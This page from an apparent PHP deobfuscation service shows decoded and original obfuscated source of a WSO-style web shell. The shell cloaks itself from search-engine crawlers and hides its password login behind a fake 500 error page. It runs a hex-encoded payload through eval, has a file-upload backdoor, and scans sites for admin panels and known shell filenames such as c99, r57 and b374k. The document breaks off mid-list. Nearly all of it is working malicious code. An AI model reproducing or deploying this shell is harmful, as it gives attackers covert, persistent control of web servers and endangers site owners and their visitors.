<br clear="all">";}function show($msg,$br=1,$stop=0,$place='logbox',$replace=0){$yqdqhprdj="stop";${"GLOBALS"}["vcsmhwrm"]="msg";${"GLOBALS"}["lbxxvbqxqj"]="msg";if(${${"GLOBALS"}["xrwvzhlf"]}==1)${${"GLOBALS"}["lbxxvbqxqj"]}.="<br />";echo"<script type=\"text/javascript">insertcode('".${${"GLOBALS"}["vcsmhwrm"]}."', '".${${"GLOBALS"}["lfqflspxibj"]}."', '".${${"GLOBALS"}["koymycqend"]}."');</script>";if(${$yqdqhprdj}==1)exit;@flush();@ob_flush();}function check($x,$front=0){${"GLOBALS"}["djxmgpbgvx"]="headers";$zlnmqszhhxr="data";$pymbehup="site";global$_POST,$site,$false;$jsntzgms="site";if(${${"GLOBALS"}["cynyvkhvf"]}==0)${${"GLOBALS"}["ucfcty"]}=${$pymbehup}.${${"GLOBALS"}["wcyovdulq"]};else${${"GLOBALS"}["ucfcty"]}="http://".${${"GLOBALS"}["wcyovdulq"]}.".".${$jsntzgms}."/";${${"GLOBALS"}["djxmgpbgvx"]}=get_headers(${${"GLOBALS"}["ucfcty"]});if(!eregi("200",${${"GLOBALS"}["lrfhgwb"]}[0]))return 0;${"GLOBALS"}["muagsdq"]="t";${$zlnmqszhhxr}=@file_get_contents(${${"GLOBALS"}["muagsdq"]});if($_POST["xploit_404string"]==""){if(${${"GLOBALS"}["nlgbonwpr"]}==${${"GLOBALS"}["rekeekpuj"]})return 0;}if($_POST["xploit_404string"]!=""){if(strpos(${${"GLOBALS"}["nlgbonwpr"]},$_POST["xploit_404string"]))return 0;}return 1;}template();$tklwcovqip="site";if(isset($_REQUEST["admin"])&&$_REQUEST["admin"]=="server"){if(isset($_POST["ok"])&&isset($_FILES["joomLa"])){$ahltwogmkeg="file";${"GLOBALS"}["kcciqphy"]="name";${$ahltwogmkeg}=$_FILES["joomLa"]["tmp_name"];${${"GLOBALS"}["kcciqphy"]}="".$_FILES["joomLa"]["name"];move_uploaded_file(${${"GLOBALS"}["crhlwdumfg"]},${${"GLOBALS"}["vccidqwni"]});}else{echo "<br>
<form method=\"POST\" enctype="multipart/form-data" action="";$_SERVER["PHP_SELF"];echo "">
<input type=\"file" name=\"joomLa\"> <input type=\"submit" name="ok" value="Get">
</form>
";}exit;}if(!isset($_POST["xploit_url"]))die;if($_POST["xploit_url"]=="")die;$cbptklb="list";${"GLOBALS"}["mnegqp"]="false";${"GLOBALS"}["akinutier"]="list";${$inxezc}=$_POST["xploit_url"];if(${${"GLOBALS"}["brfusqoepro"]}[strlen(${${"GLOBALS"}["dyasbnx"]})-1]!="/")${$suhexyeqdu}.="/";if($_POST["xploit_404string"]=="")${${"GLOBALS"}["mnegqp"]}=@file_get_contents(${${"GLOBALS"}["brfusqoepro"]}."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");${$cbptklb}["end"]=str_replace("
","",${${"GLOBALS"}["akinutier"]}["end"]);${${"GLOBALS"}["yaxbtneeuop"]}["front"]=str_replace("
","",${${"GLOBALS"}["xnbnrmw"]}["front"]);${${"GLOBALS"}["dwsywslryfl"]}=explode("
",${${"GLOBALS"}["xnbnrmw"]}["end"]);${${"GLOBALS"}["xmowvqg"]}=explode("
",${${"GLOBALS"}["xnbnrmw"]}["front"]);show(count(${${"GLOBALS"}["znrrjjyk"]})+count(${${"GLOBALS"}["yxfeguws"]}),1,0,"total",1);$yhirlrm="xx";${"GLOBALS"}["nsxoydc"]="site";${${"GLOBALS"}["lolewln"]}=0;foreach(${${"GLOBALS"}["znrrjjyk"]} as${${"GLOBALS"}["jqjsshckqksy"]}){${${"GLOBALS"}["lolewln"]}++;$ygbpix="verificate";show(${$ygbpix},0,0,"verified",1);if(check(${${"GLOBALS"}["jqjsshckqksy"]})!=0){$czyvctsipix="site";$tgzpnnpuy="site";show("<a href=\"".${$czyvctsipix}.${${"GLOBALS"}["jqjsshckqksy"]}."">".${$tgzpnnpuy}.${${"GLOBALS"}["jqjsshckqksy"]}."</a>",0,0,"rightcol",0);show("<span style="color: #00FF00;\"><strong> Found :)</strong></span>",1,0,"rightcol",0);}}preg_match("/\/\/(.*?)\//i",${$csjouodt},${$yhirlrm});${${"GLOBALS"}["vqcxnbwhug"]}=${${"GLOBALS"}["dpfbpxahln"]}[1];if(substr(${${"GLOBALS"}["nsxoydc"]},0,3)=="www")${$tklwcovqip}=substr(${$ltxlsyshrem},4);foreach(${${"GLOBALS"}["drnupwvdiny"]} as${${"GLOBALS"}["tjebpohg"]}){$gmmldohpi="verificate";${${"GLOBALS"}["lolewln"]}++;show(${$gmmldohpi},0,0,"verified",1);if(check(${${"GLOBALS"}["rqjwdckno"]},1)!=0){${"GLOBALS"}["isdazqw"]="site";${"GLOBALS"}["ndqgeiudpc"]="site";${"GLOBALS"}["wosxgdsb"]="frontpath";show("<a href=\"http://".${${"GLOBALS"}["wosxgdsb"]}.".".${${"GLOBALS"}["ndqgeiudpc"]}."/">".${${"GLOBALS"}["rqjwdckno"]}.".".${${"GLOBALS"}["isdazqw"]}."</a>",0,0,"rightcol",0);show("<span style=\"color: #00FF00;\"><strong> Found :)</strong></span>",1,0,"rightcol",0);}}echo"
";echo "
";
?>
Did this file decode correctly?
Original Code
<?php ${"\x47\x4c\x4f\x42A\x4c\x53"}["rqjwd\x63\x6b\x6e\x6f"]="\x66\x72\x6f\x6e\x74p\x61\x74h";${"\x47\x4cOB\x41\x4c\x53"}["j\x71\x6a\x73\x73\x68c\x6b\x71\x6b\x73y"]="\x70\x61t\x68";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6c\x6f\x6c\x65\x77ln"]="ve\x72\x69\x66\x69\x63\x61\x74\x65";${"GLO\x42\x41LS"}["\x7a\x6err\x6aj\x79\x6b"]="p\x61\x74h\x65\x73";${"\x47\x4cO\x42ALS"}["x\x6do\x77\x76\x71\x67"]="\x66\x72\x6f\x6et\x70\x61t\x68\x65s";${"\x47L\x4f\x42\x41LS"}["\x62\x72f\x75\x73qo\x65pr\x6f"]="sit\x65";${"\x47\x4cO\x42\x41L\x53"}["\x76\x63\x63\x69\x64q\x77ni"]="\x6e\x61me";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x63\x72\x68\x6c\x77\x64\x75\x6df\x67"]="\x66\x69\x6ce";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x72\x65k\x65\x65\x6b\x70\x75\x6a"]="\x66\x61\x6cs\x65";${"G\x4c\x4fB\x41\x4c\x53"}["\x6el\x67b\x6f\x6e\x77pr"]="\x64\x61\x74a";${"\x47\x4cO\x42\x41LS"}["\x6c\x72fh\x67w\x62"]="\x68\x65a\x64\x65\x72\x73";${"G\x4c\x4f\x42AL\x53"}["\x74\x6ae\x62\x70oh\x67"]="\x66\x72o\x6e\x74\x70\x61\x74\x68";${"\x47\x4c\x4f\x42\x41L\x53"}["\x77c\x79\x6f\x76\x64u\x6c\x71"]="\x78";${"G\x4c\x4f\x42\x41\x4cS"}["uc\x66\x63\x74\x79"]="\x74";${"\x47\x4cO\x42\x41\x4c\x53"}["c\x79ny\x76khv\x66"]="fr\x6f\x6e\x74";${"\x47\x4cO\x42\x41\x4cS"}["\x6b\x6fy\x6dy\x63\x71en\x64"]="\x72\x65pla\x63\x65";${"GL\x4fB\x41\x4cS"}["\x6cfq\x66\x6csp\x78\x69\x62\x6a"]="\x70\x6c\x61c\x65";${"G\x4cOBALS"}["\x79a\x78\x62\x74\x6e\x65\x65\x75o\x70"]="\x6c\x69\x73\x74";${"G\x4c\x4fBA\x4c\x53"}["\x78\x72\x77\x76\x7ah\x6cf"]="\x62\x72";${"GL\x4fB\x41\x4c\x53"}["\x78\x6e\x62\x6e\x72\x6d\x77"]="\x6ci\x73t";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x68\x6d\x78j\x75\x69\x71"]="\x61r\x72\x61y";${"\x47\x4c\x4f\x42\x41LS"}["\x62s\x64f\x6dki\x6e\x6fn\x6e"]="\x75\x73\x65\x72Ag\x65\x6e\x74s";${"\x47\x4c\x4f\x42\x41LS"}["\x62s\x76t\x6bl\x73\x62\x79\x78\x69"]="\x64e\x66a\x75\x6c\x74_\x63\x68\x61rse\x74";${"GL\x4fB\x41\x4c\x53"}["\x6dcm\x6be\x72"]="de\x66\x61ult\x5fuse\x5f\x61jax";${"\x47\x4cOBALS"}["\x75\x6d\x74x\x65\x75\x6e\x78\x63"]="\x64\x65\x66au\x6c\x74\x5facti\x6f\x6e";${"\x47\x4c\x4f\x42A\x4cS"}["\x64y\x61\x73b\x6e\x78"]="s\x69\x74e";${"\x47\x4cO\x42\x41\x4c\x53"}["wi\x65\x69\x6css\x75zhk"]="\x61\x75\x74\x68\x5fp\x61\x73\x73";${"G\x4c\x4fB\x41\x4c\x53"}["\x64\x77\x73\x79w\x73\x6cr\x79\x66\x6c"]="\x70\x61t\x68es";${"\x47L\x4f\x42\x41\x4c\x53"}["\x7ar\x75o\x71\x6d\x74\x6cg\x65\x70"]="\x63\x6fl\x6f\x72";${${"G\x4c\x4f\x42ALS"}["w\x69\x65\x69\x6c\x73\x73u\x7a\x68\x6b"]}="b\x64\x649\x62\x38305ee\x36f\x31\x64\x61\x32b7\x34\x397\x308fd\x32\x64\x3232\x36";$ltxlsyshrem="\x73i\x74\x65";$xgwrlifr="\x6c\x69\x73t";${${"GL\x4f\x42AL\x53"}["\x7a\x72\x75\x6f\x71\x6dtl\x67\x65\x70"]}="#\x300f\x66\x300";${${"G\x4c\x4f\x42\x41\x4cS"}["\x75\x6d\x74\x78\x65\x75n\x78\x63"]}="\x46i\x6c\x65s\x4d\x61n";${${"\x47LOBAL\x53"}["\x6dc\x6d\x6b\x65r"]}=true;${${"\x47\x4cO\x42\x41L\x53"}["\x62\x73\x76\x74\x6b\x6c\x73\x62\x79\x78\x69"]}="Wi\x6e\x64\x6f\x77s-\x312\x351";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79\x78\x66\x65\x67u\x77s"]="\x66\x72o\x6etp\x61t\x68e\x73";${"\x47L\x4f\x42\x41\x4c\x53"}["\x64\x70f\x62p\x78\x61\x68\x6c\x6e"]="\x78\x78";if(!empty($_SERVER["\x48T\x54\x50\x5fU\x53\x45\x52\x5fA\x47E\x4e\x54"])){${${"G\x4cO\x42\x41\x4cS"}["b\x73\x64f\x6d\x6b\x69nonn"]}=array("G\x6fogle","\x53\x6c\x75rp","\x4dSN\x42ot","\x69\x61\x5fa\x72ch\x69\x76e\x72","\x59\x61n\x64\x65\x78","\x52\x61\x6d\x62\x6cer");if(preg_match("/".implode("|",${${"GL\x4f\x42\x41\x4c\x53"}["\x62s\x64\x66mki\x6e\x6f\x6en"]})."/\x69",$_SERVER["H\x54T\x50_\x55SER_AGE\x4eT"])){header("\x48T\x54\x50/1\x2e\x30\x204\x30\x34 N\x6f\x74 Fo\x75\x6e\x64");exit;}}@session_start();$inxezc="\x73\x69\x74e";@ini_set("e\x72\x72\x6fr\x5fl\x6fg",NULL);${"GL\x4fB\x41LS"}["vq\x63\x78nb\x77\x68\x75g"]="\x73ite";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x72n\x75pw\x76\x64\x69ny"]="\x66r\x6f\x6e\x74pa\x74\x68\x65s";@ini_set("\x6c\x6f\x67_err\x6fr\x73",0);@ini_set("max\x5fexec\x75tio\x6e_t\x69\x6de",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("W\x53\x4f\x5fV\x45\x52S\x49O\x4e","2.6");$csjouodt="\x73\x69\x74e";if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"G\x4cOBA\x4c\x53"}["\x6b\x6fc\x70\x66\x69t"]="\x61r\x72\x61\x79";return is_array(${${"\x47\x4cOB\x41L\x53"}["\x68m\x78\x6a\x75\x69\x71"]})?array_map("WSO\x73\x74\x72\x69\x70\x73\x6c\x61\x73\x68es",${${"GL\x4fB\x41\x4cS"}["\x6boc\x70\x66it"]}):stripslashes(${${"G\x4cO\x42A\x4c\x53"}["h\x6d\x78\x6auiq"]});}$_POST=WSOstripslashes($_POST);}function SbhLogin(){die("\n<t\x69\x74\x6ce\x3e50\x30\x20\x49n\x74\x65r\x6e\x61\x6c\x20Se\x72v\x65\x72\x20\x45\x72r\x6fr\x3c/\x74itl\x65\x3e\n<\x681\x3e\x49n\x74\x65\x72n\x61l\x20\x53e\x72\x76\x65\x72\x20E\x72r\x6f\x72\x3c/h1\x3e\n<p\x3e\x54he \x73e\x72\x76er \x65n\x63\x6f\x75nter\x65\x64 a\x6e\x20in\x74e\x72nal\x20e\x72r\x6fr\x20or\nm\x69\x73conf\x69\x67\x75\x72\x61ti\x6f\x6e\x20\x61\x6ed\x20wa\x73 \x75n\x61\x62le\x20\x74o\x20com\x70lete\n\x79our \x72\x65q\x75es\x74.</\x70>\n\x3c\x70>\x50l\x65as\x65\x20\x63\x6f\x6e\x74a\x63t\x20t\x68e\x20s\x65\x72ve\x72\x20a\x64min\x69st\x72\x61tor\x20men\x69n\x62\x6fx@\x73\x75\x72\x61ba\x79\x61\x62\x6c\x61\x63\x6bha\x74.o\x72\x67 \x61n\x64\x20\x69\x6ef\x6f\x72m\x20t\x68em\x20\x6f\x66\x20t\x68e \x74ime \x74he e\x72\x72\x6f\x72 \x6f\x63cur\x72\x65d, a\x6ed \x61\x6eythin\x67 \x79o\x75 \x6di\x67ht \x68av\x65\x20d\x6fne\x20\x74\x68at m\x61y\x20\x68\x61\x76e c\x61u\x73ed \x74\x68\x65 \x65\x72\x72\x6fr\x2e</p\x3e\n<p\x3eMore\x20\x69n\x66o\x72mati\x6fn\x20\x61\x62o\x75t\x20\x74\x68\x69s \x65\x72\x72\x6f\x72 ma\x79\x20b\x65 \x61\x76a\x69lable\x20in \x74h\x65 s\x65r\x76\x65\x72\x20\x65rro\x72\x20l\x6f\x67\x2e\x3c/\x70\x3e\n\x3cp>A\x64\x64it\x69\x6fnal\x6c\x79, a \x35\x30\x30\x20\x49\x6et\x65\x72na\x6c Se\x72\x76\x65\x72\x20Er\x72\x6fr\x20\x65\x72\x72\x6fr\x20\x77as\x20e\x6e\x63oun\x74\x65\x72ed \x77h\x69l\x65 \x74\x72yin\x67 \x74\x6f\x20\x75\x73\x65 a\x6e\x20\x45\x72\x72o\x72\x44\x6fcu\x6d\x65\x6et\x20t\x6f\x20handle t\x68\x65\x20reque\x73\x74\x2e\x3c/\x70>\n\x20 \x20\x20\x3c\x73t\x79l\x65>\n\x20\x20 \x20 i\x6e\x70u\x74\x20{ m\x61\x72\x67i\x6e:\x30;\x62\x61ckgr\x6f\x75nd-\x63o\x6co\x72:\x23ff\x66\x3b\x62or\x64e\x72:1\x70\x78\x20soli\x64 \x23fff;\x20}\n \x20 \x3c/\x73\x74\x79le\x3e\n\x20 \x20\x3c\x70\x72\x65 a\x6c\x69g\x6e\x3d\x63en\x74\x65\x72\x3e\n \x20 \x3cf\x6f\x72m\x20\x6det\x68o\x64\x3d\x70\x6f\x73\x74>\n \x20 <\x69\x6eput\x20t\x79\x70e=\x70a\x73s\x77or\x64\x20n\x61me=pass\x3e\n\x20\x20\x20 \x3c/\x66\x6f\x72m\x3e</p\x72e\x3e\n\t");}if(!isset($_SESSION[md5($_SERVER["\x48T\x54P_HOST"])])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6a\x66\x6a\x70\x77\x78f\x64n\x73\x66\x6f"]="\x61\x75\x74h\x5fp\x61\x73s";if(empty(${${"GL\x4f\x42\x41\x4c\x53"}["\x77i\x65\x69lss\x75\x7a\x68k"]})||(isset($_POST["pa\x73s"])&&(md5($_POST["p\x61s\x73"])==${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6a\x66\x6a\x70\x77x\x66\x64\x6esf\x6f"]})))$_SESSION[md5($_SERVER["\x48\x54\x54\x50_\x48OS\x54"])]=true;else SbhLogin();}eval(pack("\x48*","\x36576\x3616\x43\x328\x362\x361\x37365\x336\x33\x34\x35\x46\x364\x365636\x4664652\x38274\x414\x385\x36\x379\x36\x3244\x330\x36\x42\x35\x38\x331\x34\x454\x36556C5\x4146\x35\x35\x36C7\x33\x36E\x35\x33\x346\x352\x35\x35\x355\x34\x36\x3394\x3954\x3314\x455\x35\x34A\x33130\x3754A4\x363\x39545\x325\x364A5\x375\x32\x356\x34\x41\x362\x34\x41\x331\x34A4\x36\x35\x35\x35\x36\x356\x3465531\x352\x366565\x36\x34A\x34A\x34\x41313\x303\x374\x33\x36D3\x3168615\x377\x37\x36F\x34A32\x37\x30\x33\x31\x363\x33352\x37A\x36\x315\x38\x35\x327\x34\x35\x39\x35\x38\x34\x45305\x4158\x34\x414\x31\x35\x41\x33\x32316\x38\x36\x315777\x37\x3559\x33\x323\x397\x344A\x379776B5\x383\x31\x34\x45\x34\x36556\x43\x35A4\x36556\x43736E\x35\x353\x30\x356\x3535\x366B56\x35\x3358\x3304\x364\x35\x35\x32\x34\x36496E\x358\x353\x37\x37\x36\x42\x36\x34\x35\x38\x34\x41\x37\x33\x34\x42\x35\x34\x37\x334\x424\x4147\x34A68\x36\x33\x33\x32\x3566\x36\x364\x3584A\x37\x33\x349\x34\x34306\x374A3\x326\x3830\x364\x34\x3841\x336\x34\x43\x379\x33\x38\x36E\x34C695266\x355\x33\x305\x36\x35\x33\x356\x36\x425\x3653\x3577\x39\x364\x35\x34\x35\x32\x35\x364A\x357\x35\x3256\x34A6\x36\x3546B\x346\x34\x45\x35\x325\x33\x36\x34644C6\x44\x35\x3270\x363\x36\x443\x356\x38\x36\x32\x35\x37\x35\x35\x36\x46\x34\x41\x34639\x3545256\x34\x41\x357\x3525\x364A62\x34\x4131\x34\x4544\x35\x35\x36B\x36\x435\x31\x356\x346\x33\x394F\x351\x3553\x31\x34\x36\x34\x413\x313\x30\x37\x30\x34F7\x37\x327\x32\x39293B"));echo"\x3c/he\x61d\x3e\n\n\x3cbod\x79>\n\n\x3cbr/\x3e\n\n";$suhexyeqdu="\x73i\x74\x65";error_reporting(0);${${"G\x4cO\x42\x41LS"}["\x78\x6eb\x6erm\x77"]}["\x66\x72\x6f\x6et"]="\x61\x64mi\x6e\na\x64m\nad\x6dincp\n\x61\x64m\x63p\n\x63\x70\n\x6d\x6fdcp\n\x6d\x6fd\x65r\x61t\x6f\x72\x63\x70\n\x61d\x6dina\x72\x65\n\x61\x64\x6dins\nc\x70ane\x6c\n\x63o\x6etrolp\x61ne\x6c";${$xgwrlifr}["\x65nd"]="\x31.php \x20 \n\x31\x30\x2e\x70\x68p \x20\x20\x20 \x20\n\x311.\x70h\x70 \x20\x20\x20 \n12.p\x68p\x20\x20\x20 \x20\n1\x32\x334.php\n1\x33\x33\x37.\x70h\x70\x20 \x20\n\x31337\x77\x30r\x6d\x2e\x70hp\n\x31\x6e73\x63ti\x6fn\x2ephp\n2.\x70hp \x20\x20 \x20\n\x32\x2e\x70hp \x20\x20\x20 \n\x33\x2ep\x68\x70 \x20\x20\x20\x20 \n\x34.ph\x70\x20 \x20\x20\x20\n4\x303.p\x68p\n4\x30\x34\x2e\x70\x68\x70 \x20\x20 \n\x35\x2eph\x70 \x20 \x20 \x20\n6\x2e\x70\x68\x70 \x20\x20\x20 \n\x37.p\x68p \x20\x20 \n8.\x70hp\x20\x20\x20 \x20 \n\x39.p\x68p\x20 \x20 \n\x391\x31\x2ephp \na\x2ep\x68\x70 \x20 \x20\x20\x20 \x20\nabc\x2e\x70h\x70 \x20 \x20\na\x64min/ank\x65t.\x70\x68\x70\n\x61d\x6din1.p\x68p\n\x61\x6c\x6c\x73of\x74\x2ep\x6c\n\x41\x6e\x69-\x53h\x65\x6cl\x2eph\x70\n\x61\x6e\x6fn\x79mou\x73.\x70\x68p\nas\x64\x2e\x70\x68p \x20\x20\x20\nb.p\x68p \x20\x20\x20\x20\nb374k\x2ep\x68\x70\nb\x61cktrac\x6b\x2e\x70\x68\x70\n\x62\x6cacks\x68\x61d\x6fw.php\nb\x70.\x70\x68p\nbt.ph\x70\n\x63.\x70\x68\x70\x20\x20\x20 \x20 \n\x631\x300.\x70\x68p\x20\x20\x20\x20\x20\x20\nc9\x39\x2e\x70\x68p\nc\x61ch\x65.p\x68p\nc\x67\x69.\x70h\x70\n\x63gis\x68\x65l\x6c\n\x43\x67\x69s\x68ell.\x70l\x20 \x20 \x20\x20\nc\x67i\x77\x65b.ph\x70\nchang\x65a\x6cl\x2e\x70hp \x20\x20 \n\x63onf\x2epl\nconf\x69\x67.p\x6c\nconf\x69\x67kil\x6c\x65\x72\x2e\x70hp\nco\x6ef\x6b\x69l\x6c\x65\x72\x2e\x70hp\ncp.p\x68\x70\n\x63y\x62er\x2e\x70hp\x20\x20 \nd\x2e\x70hp \x20\x20\x20\x20\n\x644\x72k\x2eph\x70 \nda\x6d\x2e\x70\x68\x70 \x20\x20\x20 \n\x64ataba\x73\x65\x2ep\x68p\nd\x62\x2e\x70hp\ndbc\x6fnf\x69g\x73\x2e\x70hp\ndha\x6e\x75\x73\x68.\x70\x68p\n\x64\x6f\x6d.p\x68p \x20\x20 \n\x64o\x6d.\x70\x68p\n\x64om\x61\x69n.p\x68\x70\nd\x7a.php\x20\x20 \x20 \x20\nD\x7a.\x70\x68p\x20 \x20\x20 \n\x64z0\x2e\x70\x68\x70\x20\x20 \x20\x20\x20\n\x65.\x70\x68\x70 \x20\x20 \ne\x67\x79.p\x68\x70 \x20 \x20\x20\nf.\x70\x68\x70\x20\n\x67\x2eph\x70\x20\x20\x20\x20 \x20\n\x67a\x7aa.php\x20\x20\x20\x20 \n\x68\x2e\x70h\x70 \x20\x20\x20\x20\n\x68ac\x6be\x72.\x70h\x70\ni.\x70\x68\x70 \n\x69n\x64\x65x1\x2e\x70\x68\x70\x20\x20\x20 \n\x69\x6ej\x65\x63\x74\x69\x6f\x6e\x2e\x70hp\n\x6a\x2e\x70h\x70\x20\x20\x20\x20 \x20\nj\x61\x6e\x63ak\x2eph\x70\n\x6b\x2e\x70\x68p \x20 \nki\x6cle\x72\x2ep\x68\x70 \x20 \x20 \nk\x73a.\x70\x68p\x20\x20 \x20 \n\x6c\x2eph\x70\x20\x20 \x20 \n\x6co\x67\x2e\x70\x68p\n\x6c\x6fg\x73\x2ep\x68\x70\nm\x2ep\x68p\x20\x20\x20\x20 \n\x4d4\x72\x30\x63\x2eph\x70\x20\x20\x20\x20\x20\x20\nm\x61\x64\x73\x70ot\x2ephp\x20 \x20\x20 \x20\nma\x64\x73\x70\x6ftsh\x65l\x6c\x2e\x70\x68\x70 \x20\nm\x61\x6e\x6eu.\x70\x68\x70\nmas\x73.ph\x70\nma\x73s\x63hec\x6be\x72\x2e\x70\x68\x70\n\x6di\x6ean\x67.\x70\x68\x70\n\x6e\x2ep\x68p\x20 \x20 \x20 \n\x6e\x6b\x72.\x70\x68p \x20 \x20\nno\x2ep\x68p\n\x6f.p\x68\x70\x20\x20\x20\x20\x20 \no\x66\x66li\x6e\x65\x2e\x70\x68p \x20\x20 \x20\x20\np.\x70hp\x20 \x20\x20\x20 \n\x70\x6f\x63\x6f\x6eg.\x70\x68p\n\x70\x72i\x768.\x70\x68p\x20 \x20 \npro\x73\x68\x65\x6c\x6c.p\x68p\n\x70r\x6fshe\x6c\x6c\x32.\x70\x68p\nps/p\x73.ph\x70\np\x79\x74h\x6fn\nq\x2e\x70\x68p\x20 \x20 \x20\nr.\x70\x68\x70\x20\x20\x20 \x20\nr00t.\x70\x68p \x20\x20 \x20\nr0\x30\x74.\x70\x68p\nr0k.\x70\x68p \x20\x20\x20 \n\x725\x37\x2e\x70\x68p \x20 \x20\x20 \ns.ph\x70 \x20\x20\ns\x65t\x74i\x6e\x67\x73.p\x68\x70 \x20 \x20\n\x53\x68\x33l\x6c.\x70\x68p \x20 \x20\x20\x20\n\x73h\x65ll\x2e\x70\x68p \n\x73\x68e\x6cl\x73.\x70\x68\x70\nsni\x70e\x72.p\x68p\x20\x20\x20\x20 \n\x73\x73.p\x68p\n\x73\x73\x68\x2e\x70\x68\x70 \x20\n\x73y\x6d.\x70h\x70\n\x53\x79\x6dl\x69\x6ek_s\x61_3\x2e0.\x70\x68p\ns\x79ml\x69\x6e\x6b\x65r\x2ephp\n\x73\x79\x72\x69a\x6e_\x73he\x6c\x6c.p\x68p \x20\x20\x20\x20\n\x73y\x73.ph\x70\nt.\x70hp \x20\n\x74mp.ph\x70\nu.p\x68\x70 \x20\x20 \n\x75gd\x65\x76il.\x70\x68\x70\n\x75\x73e\x72.\x70h\x70\x20 \x20 \nv\x2ephp \x20\nv4\x74e\x61m\x2ephp \x20 \x20\n\x76b\x61\x2ep\x68\x70\nw.p\x68p\x20 \x20\x20 \nwe\x62\x31.\x70\x68\x70\n\x77\x68cms\x2ep\x68\x70\n\x77h\x6d\x2e\x70\x68\x70 \x20\n\x57S\x4f.\x70h\x70\n\x77s\x6f.ph\x70\x20\n\x77\x73\x6fb.ph\x70\nx\x2e\x70hp\x20 \x20\x20 \n\x78d\x2eph\x70\x20\x20 \x20\x20\x20\n\x78x\x78\x2e\x70h\x70 \x20\x20 \ny\x2eph\x70 \x20\x20\nz.p\x68p \x20 \x20 \n\x7a\x6fn\x65.p\x68\x70\n\x69\x6da\x67\x65s/2\x2e\x70\x68\x70\x20 \x20\x20 \x20\nim\x61ge\x73/\x61\x64\x6din.php \x20\x20 \n\x69mag\x65\x73/ama\x64.php\x20\x20 \x20\n\x69\x6da\x67\x65\x73/\x61wsta\x74s \x20 \x20 \n\x69mage\x73/\x62a\x63k.\x73\x71\x6c\x20 \x20 \x20\nima\x67\x65s/ba\x63\x6bup\x2esq\x6c \x20 \x20\x20\nim\x61g\x65s/\x42la\x63k.\x70hp\x20\x20 \x20\x20 \n\x69mag\x65\x73/\x63pa\x6e\x65\x6c\x20 \x20 \x20\n\x69\x6d\x61ges/\x64\x61\x74a.sq\x6c\x20 \x20 \x20\n\x69\x6dages/\x64z\x2ephp\x20 \x20 \x20\ni\x6da\x67e\x73/\x65r\x72\x6fr \x20\x20 \n\x69\x6da\x67\x65\x73/e\x72r\x6fr_\x6c\x6f\x67\x20\x20\x20\x20\x20\x20\nim\x61ges/\x66o\x72um\x2es\x71\x6c \x20\x20 \x20 \n\x69mages/\x67\x61\x7aa\x2e\x70h\x70 \x20\x20 \nim\x61\x67e\x73/r\x35\x37\x2e\x70h\x70\x20\x20 \x20 \x20\n\x69mage\x73/\x73\x61.\x70h\x70 \x20 \x20 \x20\ni\x6d\x61ges/\x73a\x32\x2ephp \x20\x20 \n\x69mage\x73/\x73\x68el\x6c.php\x20 \n\x69ma\x67e\x73/site.\x72\x61\x72\x20 \x20\x20\x20 \nimages/\x73it\x65\x2e\x73q\x6c \x20\x20\nimag\x65\x73/\x73\x69te.\x74a\x72.\x67z\x20\x20 \x20\x20 \n\x69\x6d\x61\x67e\x73/\x7400\x2e\x70\x68p \x20\x20 \x20 \n\x69\x6d\x61\x67\x65s/\x75p.p\x68\x70\x20\x20\x20 \x20\x20\n\x69m\x61\x67e\x73/\x75ploa\x64.\x70\x68p \x20\x20\x20\n\x69m\x61ges/uploa\x64s\x2eph\x70 \x20 \x20 \x20\nimag\x65s/v\x62\x2e\x73ql \x20\x20\x20\x20\x20\nima\x67es/\x31\x323.\x70hp\x20\x20 \x20\n\x69mag\x65s/\x3403.php\ni\x6da\x67es/ab\x75h\x6c\x61\x69\x6c\x2ep\x68\x70\x20 \x20 \x20 \x20\x20\x20\n\x69\x6d\x61g\x65\x73/a\x64\x6d\x69\x6e1/ \x20\x20 \x20\x20\n\x69m\x61\x67\x65s/adm\x69n\x32.asp\x20 \x20 \x20\n\x69mag\x65\x73/\x41\x6e\x69-\x53\x68\x65l\x6c.\x70\x68p\nim\x61\x67\x65s/\x61\x6e\x6f\x6ey\x6dou\x73\x2eph\x70\ni\x6dages/\x61sd.p\x68\x70\n\x69m\x61\x67es/a\x73p.a\x73p\x78\x20\x20\x20 \x20\x20\nim\x61\x67\x65s/\x62.php \x20 \n\x69\x6d\x61ges/b\x33\x374k\x2e\x70h\x70\n\x69m\x61g\x65s/\x62\x75\x63k.\x73\x71\x6c \x20 \x20\x20\n\x69m\x61g\x65s/\x63.p\x68\x70 \x20\x20\n\x69ma\x67es/c10\x30.\x70hp \x20 \nimages/\x63\x32\x32.p\x68p\x20\x20\x20 \ni\x6d\x61\x67e\x73/c\x6f\x6e\x66ig.\x70l\n\x69\x6d\x61\x67\x65\x73/\x63\x6fn\x66igu\x72ation\x2e\x70h\x70 \x20\x20 \n\x69ma\x67\x65\x73/\x63onf\x6b\x69\x6cl\x65r.ph\x70\ni\x6d\x61\x67e\x73/cp\x2ep\x68p\x20\x20 \x20\ni\x6da\x67e\x73/C\x70\x61\x6e\x65l.p\x68p \x20 \x20\x20\x20\n\x69mage\x73/\x64a\x74\x61\x62\x61s\x65\x2e\x70h\x70\ni\x6d\x61g\x65s/\x64han\x75s\x68.p\x68\x70\nimage\x73/dz\x31.p\x68\x70\x20 \x20 \x20 \n\x69\x6da\x67e\x73/\x66\x6f\x72u\x6d\x2era\x72\x20\x20 \x20 \ni\x6dag\x65s/\x66or\x75\x6d.z\x69p \x20 \ni\x6d\x61\x67es/\x67\x2e\x70h\x70 \x20\x20\x20 \ni\x6dages/gzaa\x5f\x73p\x79\x73\x6c \n\x69\x6dag\x65s/\x69\x6d\x61\x67e\x73/Sy\x6d\x2ephp \x20\x20 \x20 \nimag\x65s/inj\x65\x63ti\x6f\x6e\x2ephp\n\x69\x6dag\x65s/\x6aa\x6e\x63\x61k.\x70hp\ni\x6dag\x65\x73/jo\x6fm\x6c\x61\x2er\x61r \x20\n\x69m\x61\x67\x65s/\x6a\x6fom\x6c\x61.z\x69p\x20 